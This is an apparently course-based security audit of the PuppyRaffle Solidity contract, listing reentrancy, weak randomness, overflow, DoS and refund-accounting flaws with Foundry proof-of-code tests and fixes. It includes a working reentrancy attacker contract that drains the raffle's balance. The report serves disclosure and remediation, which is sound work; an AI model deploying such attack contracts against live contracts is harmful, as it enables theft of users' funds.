PuppyRaffle Security Review

Version 1.0

July 6, 2024

Conducted by:
Antonio Iliev, Security Researcher

Table of Contents

1 Disclaimer

Antonio Iliev makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

2 Risk classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

2.1 Impact

- **High** - leads to a significant loss of assets in the protocol or significantly harms a group of users.
- **Medium** - only a small amount of funds can be lost or a functionality of the protocol is affected.
- **Low** - any kind of unexpected behaviour that's not so critical.

2.2 Likelihood

- **High** - direct attack vector; the cost is relatively low to the amount of funds that can be lost.
- **Medium** - only conditionally incentivized attack vector, but still relatively likely.
- **Low** - too many or too unlikely assumptions; provides little or no incentive.

2.3 Actions required by severity level

- **Critical** - client **must** fix the issue.
- **High** - client **must** fix the issue.
- **Medium** - client **should** fix the issue.
- **Low** - client **could** fix the issue.

3 Executive summary

Overview

Project Name	PuppyRaffle
Repository	https://github.com/Cyfrin/4-puppy-raffle-audit
Commit hash	e30d199697bbc822b646d76533b66b7d529b8ef5
Methods	Manual review & testing

Scope

contracts/PuppyRaffle.sol

Issues Found

Critical risk	0
High risk	5
Medium risk	2
Low risk	1
Informational	3

4 Findings

4.1 High risk

4.1.1 Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Severity: *High risk*

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle:players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
            refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
            or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund until they drain the contract balance.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ",
            startingAttackContractBalance);
        console.log("Starting contract balance: ", startingContractBalance);

        console.log("ending attacker contract balance: ", address(attackerContract).
            balance);
        console.log("endoing contract balance: ", address(puppyRaffle).balance);
    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;

    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommendation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
            refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
            or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

4.2 High risk

4.2.1 Weak randomness in `PuppyRaffle::selectWinner` allows suers to influence or predict the winner and influence or predict the winning puppy

Severity: *High risk*

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommendation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

4.3 High risk

4.3.1 Users can enter the Raffle multiple times

Severity: *High risk*

Description: In DOCS is stated that `enterRaffle` function not allows duplicate entrants.

```
Duplicate addresses are not allowed
```

Allowing one user to enter multiple times in a raffle can have several impacts, both technical and on the fairness of the raffle:

1. Increased Chance of Winning: If a single user can enter multiple times, their chances of winning increase proportionally with the number of times they enter. This can lead to an unfair advantage.
2. Increased Gas Costs: Each entry adds to the players array and, if using a mapping to track entries, modifies storage. This increases the gas cost of the transaction for the user entering multiple times.
3. Potential for Gaming the System: Users with more resources (i.e., more ETH to pay for multiple entries) can dominate the raffle, undermining the fairness of the game. This can deter participation from users who cannot afford multiple entries.
4. Storage and Performance Overhead: Storing a larger number of entries increases the contract's storage requirements. This can lead to higher gas costs for interactions with the contract and potentially make the contract more expensive to maintain.
5. Complexity in Prize Distribution: If a single user is allowed multiple entries, the logic for selecting a winner or distributing prizes may need to account for multiple entries per user, adding complexity to the contract.
6. User Experience: Allowing multiple entries per user may confuse participants regarding the rules and fairness of the raffle.

Impact: Users can enter the Raffle multiple times leading to high chance of winning

Proof of Concept: (Proof of Code)

1. Create the following test case:

Code

```
    function testOneUserCanEnterRaffleManyTime() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
        assertEq(puppyRaffle.players(0), playerOne);
        assertEq(puppyRaffle.players(1), playerTwo);
        assertEq(puppyRaffle.players(0), playerOne);
    }
```

2. Run the test:

```
forge test --mt testOneUserCanEnterRaffleManyTime
```

And the results are the following:

```
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testOneUserCanEnterRaffleManyTime() (gas: 94542)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.35ms
```

Recommendation:

1. Use a Mapping for Players: Instead of using an array to store the players, use a mapping to keep track of whether an address has already entered the raffle. This will allow for efficient look-up and insertion.
2. Modify the enterRaffle Function: Check if each new player's address is already in the mapping before adding them to the list. If an address is already in the mapping, revert the transaction with an appropriate error message. If the address is not in the mapping, add it to the list and set its value in the mapping to true.
3. Remove the Duplicate Check Loop: Since the mapping will ensure that no duplicates are added, you can remove the nested loop that checks for duplicates.
4. Emit the Event: Continue to emit the RaffleEnter event after the players have been added.
5. Initialize Data Structures: Ensure that the mapping is properly initialized and consider initializing the players' array if needed for any additional logic.
6. Define a Mapping:

```
    mapping(address => bool) private hasEntered;
```

2. Check and Add Players in enterRaffle: Iterate over the newPlayers array. For each player, check the mapping to see if they have already entered. If they haven't entered, add them to the players array and update the mapping. If they have entered, revert the transaction.
3. Remove Duplicate Check: Eliminate the nested loops that check for duplicates as the mapping ensures no duplicates.

4.4 High risk

4.4.1 Integer overflow of `PuppyRaffle::totalFees` loses fees

Severity: *High risk*

Description: In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permamently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enters a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
        require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
             currently players active!");
```

Althought you could use **`selfdestruct`** to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intdended design of the protocol. At some point, there will be too much **`balance`** in the contract that the above **`require`** will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees", startingTotalFees);
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommendation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-         require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
    are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

4.5 High risk

4.5.1 `PuppyRaffle::refund` does not update the length of the players array, which leads to a loss of fees and unability to pay out the winners

Severity: *High risk*

Description: The `PuppyRaffle::refund` function does not update the length of the players array, which is used to determine the final prize pool at the `PuppyRaffle::selectWinner` function:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
            refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
            or is not active");
        payable(msg.sender).sendValue(entranceFee);
->      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

We reset the player's address to `address(0)`, but we don't update the length of the players array, that's used in the `PuppyRaffle::selectWinner` function:

```
    function selectWinner() external {
        ...
->      uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        ...
    }
```

We also don't check that the winner is not `address(0)` in the `PuppyRaffle::selectWinner` function. That means that a zero address could be selected as winner, and the contract would send the prize pool to the zero address.

Impact: This could not only lead to a loss of fees (the contract will pay the winner more than it was supposed to) but also to a loss of the ability to pay out the winners, as the contract won't have enough funds to do so.

Proof of Concept: We can write two test functions, one would check the scenario of the loss of fees, and the other one would check the scenario of the loss of the ability to pay out the winners. We also will change the require in the `PuppyRaffle::selectWinner` function to make the revert message more clear:

```
    function withdrawFees() external {
->      require(address(this).balance >= uint256(totalFees), "PuppyRaffle: The
    balance is too low!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

We would also need to create a getter function to get the length of the players array in the `PuppyRaffle` contract:

```
    function getPlayersLength() public view returns (uint256) {
        return players.length;
    }
```

The first test function would look like this:

```
    function testRefundLossOfFees() public {
        address[] memory players = new address[](5);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = address(5);
        puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
        uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(playerOne);
        vm.prank(playerOne);
        puppyRaffle.refund(indexOfPlayer);
        vm.stopPrank();
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        vm.expectRevert("PuppyRaffle: The balance is too low!");
        puppyRaffle.withdrawFees();
    }
```

It passes, meaning that we lost fees and can't withdraw them. The second function would look like this:

```
    function testUnableToPayoutTheWinner() public {
        address[] memory players = new address[](5);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = address(5);
        puppyRaffle.enterRaffle{value: entranceFee * 5}(players);
        uint256 indexOfPlayerOne = puppyRaffle.getActivePlayerIndex(playerOne);
        uint256 indexOfPlayerFour = puppyRaffle.getActivePlayerIndex(playerFour);
        vm.prank(playerOne);
        puppyRaffle.refund(indexOfPlayerOne);
        vm.stopPrank();
        vm.prank(playerFour);
        puppyRaffle.refund(indexOfPlayerFour);
        vm.stopPrank();
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        console.log("PuppyRaffle balance: %d", address(puppyRaffle).balance);
        console.log("Expected payout as per selectWinner function behaviour: %d", (
            puppyRaffle.getPlayersLength() * entranceFee) * 80 / 100);
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
        puppyRaffle.selectWinner();
    }
```

The test passes, meaning that we can't send funds to the winner. By checking the logs we can see that we have insufficient funds to pay out the winner:

```
Logs:
  PuppyRaffle balance: 30000000000000000000
  Expected payout as per selectWinner function behaviour: 40000000000000000000
```

Recommendation: You should update the length of the players array and don't add any `address(0)` to the array in the `PuppyRaffle::refund` function. It would look like this:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
            refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
            or is not active");
        payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = players[players.length - 1];
        players.pop();
        emit RaffleRefunded(playerAddress);
    }
```

It would also be the best just to get the `totalAmountCollected` variable as follows:

```
    function selectWinner() external {
        ...
->      uint256 totalAmountCollected = address(this).balance;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        ...
    }
```

4.6 Medium risk

4.6.1 Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` function is a potential DoS Attack, incremeting gas costs for future entrants.

Severity: *Medium risk*

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. THis means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the firsts entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: (Proof of Code)

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testDoS() public {
        vm.txGasPrice(1); // set the gas price to 1

        //enter 100 players into the raffle
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        //gas cost
        uint256 gasStart = gasleft(); // the start gas
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft(); // the end gas

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players ", gasUsedFirst);
        // second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        //gas cost
        uint256 gasStartSecond = gasleft(); // the start gas
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
        uint256 gasEndSecond = gasleft(); // the end gas

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas cost of the second 100 players ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

1. Create the following test case:

Code

```
    function testOneUserCanEnterRaffleManyTime() public {
        address[] memory players = new address[](2);
        players[0] = playerOne;
        players[1] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
        assertEq(puppyRaffle.players(0), playerOne);
        assertEq(puppyRaffle.players(1), playerTwo);
        assertEq(puppyRaffle.players(0), playerOne);
    }
```

Recommendation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check deosn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mappping to check for duplicates this would allow constant time lookup of wheter a user has already entered.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
            send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-   // Check for duplicates
+   // Check for duplicates only from the new players
+   for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
+         require(addressToRaffleId[newPlayers[i]]) != raffleId, "PuppyRaffle:
    Duplicate player");
+     }
-          for (uint256 i = 0; i < players.length - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }

     function selectWinner() external {
+        raffleId = raffleId + 1;
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

4.7 Medium risk

4.7.1 Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Severity: *Medium risk*

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet and they do not have a `receive` or a `fallback` function, the transaction will revert and the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 Smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommendation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (Not recommended)
2. Create a mapping of addresses -> payout amounts, so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

4.8 Low risk

4.8.1 `PuppyRaffle::getActivePlayerIndex` returns 0 fr non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Severity: *Low risk*

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attemp to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due do the function documentation.

Recommendation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

4.9 Informational

4.9.1 Storage variables in a loop should be cached

Severity: *Informational*

Description:

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
             }
         }
```

4.10 Informational

4.10.1 Solidity pragma should be specific, not wide

Severity: *Informational*

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

4.11 Informational

4.11.1 Using an outdade version of Solidity is not recommended.

Severity: *Informational*

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information